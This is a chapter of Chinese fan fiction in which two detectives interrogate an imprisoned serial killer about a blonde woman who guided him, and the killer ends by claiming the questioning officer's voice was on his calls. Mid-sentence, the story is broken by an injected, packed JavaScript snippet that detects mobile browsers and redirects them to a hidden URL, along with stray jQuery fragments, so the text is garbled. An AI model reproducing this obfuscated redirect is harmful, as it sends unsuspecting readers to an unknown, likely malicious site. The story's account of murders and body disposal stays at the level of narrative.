他们没等多久,椅子刚擦净,一名年轻人就被推了进来。


    黑川奈凝神,这人,似乎格外眼熟啊。


    狱警一把揪住年轻人散乱的头发,逼他抬起始终低着的头,露出那张清秀却苍白的脸。


    黑川奈眼睛一亮,随即肩膀就被人不轻不重地按了一下,她轻咳两声,收敛神色,恢复公事公办的模样。


    在中岛胜一郎的示意下,年轻人被狱警推搡着跌坐在铁椅上,脚步虚浮。


    他一个踉跄,没站稳,前额不慎撞上椅背,擦出一道血痕。


    这一撞,一小块暗青色的东西从他嘴里掉了出来,啪,一声,掉在地上。


    黑川奈眼角抽了两下。


    中岛胜一郎的视力不大好,看东西比其他人迟,待到看清那玩意儿,倒吸了一口冷气,双腿下意识夹紧,声音都变了调,“这、这怎怎么回事!”


    “报、报告!564号又跟4895号那帮人闹起来了!”一名狱警声音发颤,目光闪躲地瞥过地上那小块肉,话都不利索,“扭、扭打的时候……”


    他支支吾吾了老半天说不出半句话。


    “怎么?不敢说?”嘶哑的声音从铁栏另一侧传来。熊冈耀已经坐回到椅上,双手被紧紧拷在两侧。他很瘦,眉眼间能看出几分熊冈铃的影子,却远不如姐姐那般平和。尤其是看向黑川奈时,他眼中翻涌的戾气恨不得将她撕碎。


    黑川奈安然地坐在众人之间,饶有兴趣地迎上他的目光,“他们怎么惹你了?”


    青年一愣,没料到她会这么问,随即嗤笑一声,“谁知道呢,一群废物仗着人多想撒野,我不过是教教他们规矩。”


    他感到唇边残留着黏腻,下意识想抬手擦拭,可双手却无法动弹,只能别扭地用肩膀蹭了蹭。


    “这到底是怎么回事!”中岛强忍怒火,质问身旁的负责人。


    负责人恶狠狠地瞪了熊冈耀一眼,对方却全然无视,只是垂着眼继续蹭掉血迹。


    “564号性格孤僻,常独来独往,还……还频繁越狱。”


    中岛打断,“越狱多少次?”


    他回答得十分迅速,“24次。”


    中岛微微扬了扬脑袋瞥了一眼黑川奈的后脑勺,示意负责人继续。


    “前几天,564越狱未遂,按照规定在禁闭室受罚。大概就是那时,他和同一起受罚的4895号搭上线。之后我就看见他们常常一起行动,但具体情节……我就不清楚了。”


    “川本宪一为什么受罚?”黑川奈忽然开口。


    那负责人一愣,随即看向中岛。


    没等中岛开口,熊冈耀道,“才进来就管不住自己的吊。”


    他表情极为平淡。


    中岛脸色难看极了,想着蒙混过关,可黑川奈却在这个时候回头看他。


    他只好硬着头皮让负责人继续说。


    “4、4895号结伙他人欺、欺负一名女犯人。”房间里的气压低得可怕,负责人再也待不下去,忙声称禀告完毕匆匆逃离现场。


    中岛巴不得离开的人是自己,好在,松田阵平拍拍他的肩膀,中岛立刻会意。


    房间只剩下三人,隔着一道铁栏。阳光从天窗泻下,落在熊冈耀身上,竟给这杀人如麻的年轻人蒙上一层近乎圣洁的错觉。


    他生得秀气,还带了点书卷气,不说话时像个易碎的瓷娃娃,可惜还是过于年轻,眼底的阴鸷藏也藏不住。


    门一关,他就撕开了伪装,“熊冈铃在哪。”


    黑川奈坐没坐相,懒洋洋地支着脑袋,“不先关心爱你的父母?”


    熊冈耀手一紧,没接话。


    “真可怜,”她轻描淡写,“可怜的熊冈胜,为了你,连命都不要了。”


    他依旧面无表情,甚至有些神游。


    她望着他,继续不急不缓道,“那男人身上绑着炸弹去找熊冈铃了。”


    年轻人猛地睁大双眼,突然暴起,手腕狠狠扯着铁链,发出刺耳的撞击声,“我特地警告过他他怎么敢——”


    “还特地警告过呢,”黑川奈轻轻笑了,“这么喜欢你姐姐?”她低吟几秒,“让我猜猜……那个受欺负的女犯人,是哪里像熊冈铃?”


    熊冈耀咬紧牙关,棕色的眼睛死死瞪着黑川奈,一言不发。


    她也不急,顺着他的反应慢试探,“听说你刚进来的时候还挺老实?中岛老头都觉得你有望减刑,后来才开始试着越狱……想出去见她?”


    但他似乎打定主意不再开口。


    黑川奈打了个哈欠,忽然转变话题,“你海鲜过敏吧。”


    熊冈耀微微一愣,迟疑片刻,点点头。


    “一个海鲜过敏的人,竟然知道熊冈铃在一家主营海鲜料理的餐馆打工,”她向前倾身,“呐,你,是怎么找到那里的?”


    烈日当空,光线直射在他背上,单薄的囚服被被汗水浸透。一滴汗从他发间滑落,沿脖颈滚进衣领。


    他没有回答。


    一旁的松田阵平板着脸,取出那封较早的信件放在他面前,“这封信,是谁给你的。”


    他的声音比黑川奈更冷,带着不容抗拒的威压。


    “诶,松田警官,别吓着孩子,”黑川奈笑嘻嘻叮嘱。


    “孩子?连杀五人的二十四岁的……孩子?”松田阵平嗤笑。


    她不恼,哧哧笑了两声,像是忘了跟前还坐着个人,自顾自和松田阵平闲聊,“上次被你这一问,他爸什么都招了……对了,小铃回去还好吧。”


    松田阵平顿了顿,配合道,“受了点惊吓,她没想到亲生父亲真的想要她的命。”


    “真是可怜的孩子,”她叹道,“母亲也不见了,以后怕是真要孤零零一人了……”


    “她不是一个人!”


    她的话被打断,青年一直平静的脸上裂开一条缝隙,夹缝中满是躁动疯狂,“我会出去找她!那些女人都不是她!我好不容易、好不容易才找到……要不是你,我们根本不会变成这样!”他说话断断续续只言片语,但残忍至极,“还有熊冈胜,早知道就该拿他试手!”


    “但是,弟弟哟,”黑川奈笑得眉眼弯弯,掰着手指数,“等你出去已经是50年后了哦,那时候,小铃七老八十合家欢了都,早就把你忘了。”


    “不可能!”熊冈耀反驳,“她说她永远都不会忘记我的!她有寄信给我,她、她说会等我一辈子……等我出去,我们就到一个谁都不认识的地方,永远在一起。”


    黑川奈轻轻在桌面上敲击的手指一顿,不着痕迹地递给松田阵平一个眼神。


    “她能不能等你一辈子我说不准,但……如果你能配合我们,我倒是可以劝劝小铃来见见你,”她眯起眼,“其实你也想见到她吧?否则也不会越狱那么多次。”


    屋子很静,静得能听见屋外的蝉鸣,但那只是熊冈耀恍惚中的错觉。


    青年低下头,调整着呼吸,良久,终于哑声:“是一个女人……她联系我,告诉我姐姐的去向。”


    松田阵平开口,“她怎么联系你的?”


    “信,送信。”


    “信?”黑川奈挑眉,“如果是信,你怎么知道对方是女人?”


    熊冈耀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289147|174139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    猛地抬头,眼中掠过一丝茫然。


    他的目光穿透铁栏,盯着黑川奈,像是在她脸上寻找什么,半响,才缓缓道,“自从她离开后,我每天都会从房间的窗户往下看,很少有人会寄信过来,也从没有人会在半夜拜访。而且,在那女人送完信后没多久我就接到了她的电话。号码我没见过,像是从国外打进来的,她知道我发现她了,却没说什么。”


    “所以,她只给了你地址。”


    “是,去找姐姐是我自己的决定,我偷偷跟过她几次,担心她自己在外面会不会被人欺负,会不会被餐馆的老板虐待、克扣工资,但她的笑容……太刺眼了,她的笑只能属于我!”他咬牙切齿,思绪飘向了别处,“那些人长得都不像她。你懂被抛弃的滋味吗?……我叫她们姐姐,说喜欢她们,她们就心甘情愿跟我回家,我试着把她们的鼻子、眼睛、嘴拼在一起……可都不对,都不像!我能怎么办?!”


    “打住,”黑川奈打断他,“之后还是那个女人帮你找到熊冈铃的?在你被捕之前。”


    “不是。我从餐馆里带回姐姐后,那女人就再也没联系过我,虽然还是有人寄信,想模仿她,但那种拙劣的把戏骗不过我。”


    “所以明知换了人,你还是和对方保持联系?”


    熊冈耀点头。


    那人总是在深夜出现,从不透露姓名,从不与他见面,却待他如挚友,不仅在生活、学业上帮他,甚至教他如何妥善处理尸体。否则,任凭熊冈耀的成绩再高,都不可能从第一起命案开始就将现场处理干净。


    松田阵平越听面色越沉,“你不觉得,这个人对你的生活了如指掌?”


    熊冈耀手指一僵,呼吸急促起来。


    “你应该早就察觉到了吧,”松田步步紧逼。


    “知道又怎样?”熊冈耀突然笑了,笑容残酷冰冷,“无所谓,只要能得到她,无论是被监控还是杀人,都算不了什么。”


    两人静静地看着他,等他情绪稍平。


    黑川奈十指交叠,支在下巴上,“你和那些人的信,我都看过了。”


    熊冈耀笑声戛然而止,面色再度扭曲。


    “信中提到的‘祂’,指的是什么?”她问。


    中岛胜一郎在门外来回踱步近一小时。隔音门紧紧闭着,什么也听不见。他坐如针毡,生怕熊冈耀一个不顺心就把监狱里的腌臜事全抖出来。


    屋子里的询问也确实告一段落。


    黑川奈收拾好东西起身,正要离开。


    熊冈耀却突然抬头,“我想起来了。”


    他盯着她新长出的银发,“你不是想知道吗?那女人的外貌和名字。”


    她动作一顿,停在原地俯视着他。


    熊冈耀的表情再次变得癫狂,但这次他很好地控制住了,深呼吸,他缓缓说,“那人有着一头金发,看上去不像日本人……名字特使。”


    “本来我都已经忘了,因为你我才想起来,有一次通话时,我听见有人叫她,”他棕色的眼盯住黑川奈,“叫她,Berumotto。”


    墨绿色的瞳孔猛地收缩。


    “想起来了?”熊冈耀笑了,仿佛夺到了主导权。


    “不认识,”她挠了挠耳朵,放在面前轻巧地吹了吹,“仔细说说?”


    松田阵平嘴角微扬。


    熊冈耀咬牙,却又忽然放松,“从见你第一面,我就觉得你的声音很耳熟,”他眼中恶意流淌,“不好奇……在电话中喊她的人是谁吗?”


    他咧开嘴,露出一个近乎癫狂的笑:


    “就是你啊,黑川警视。”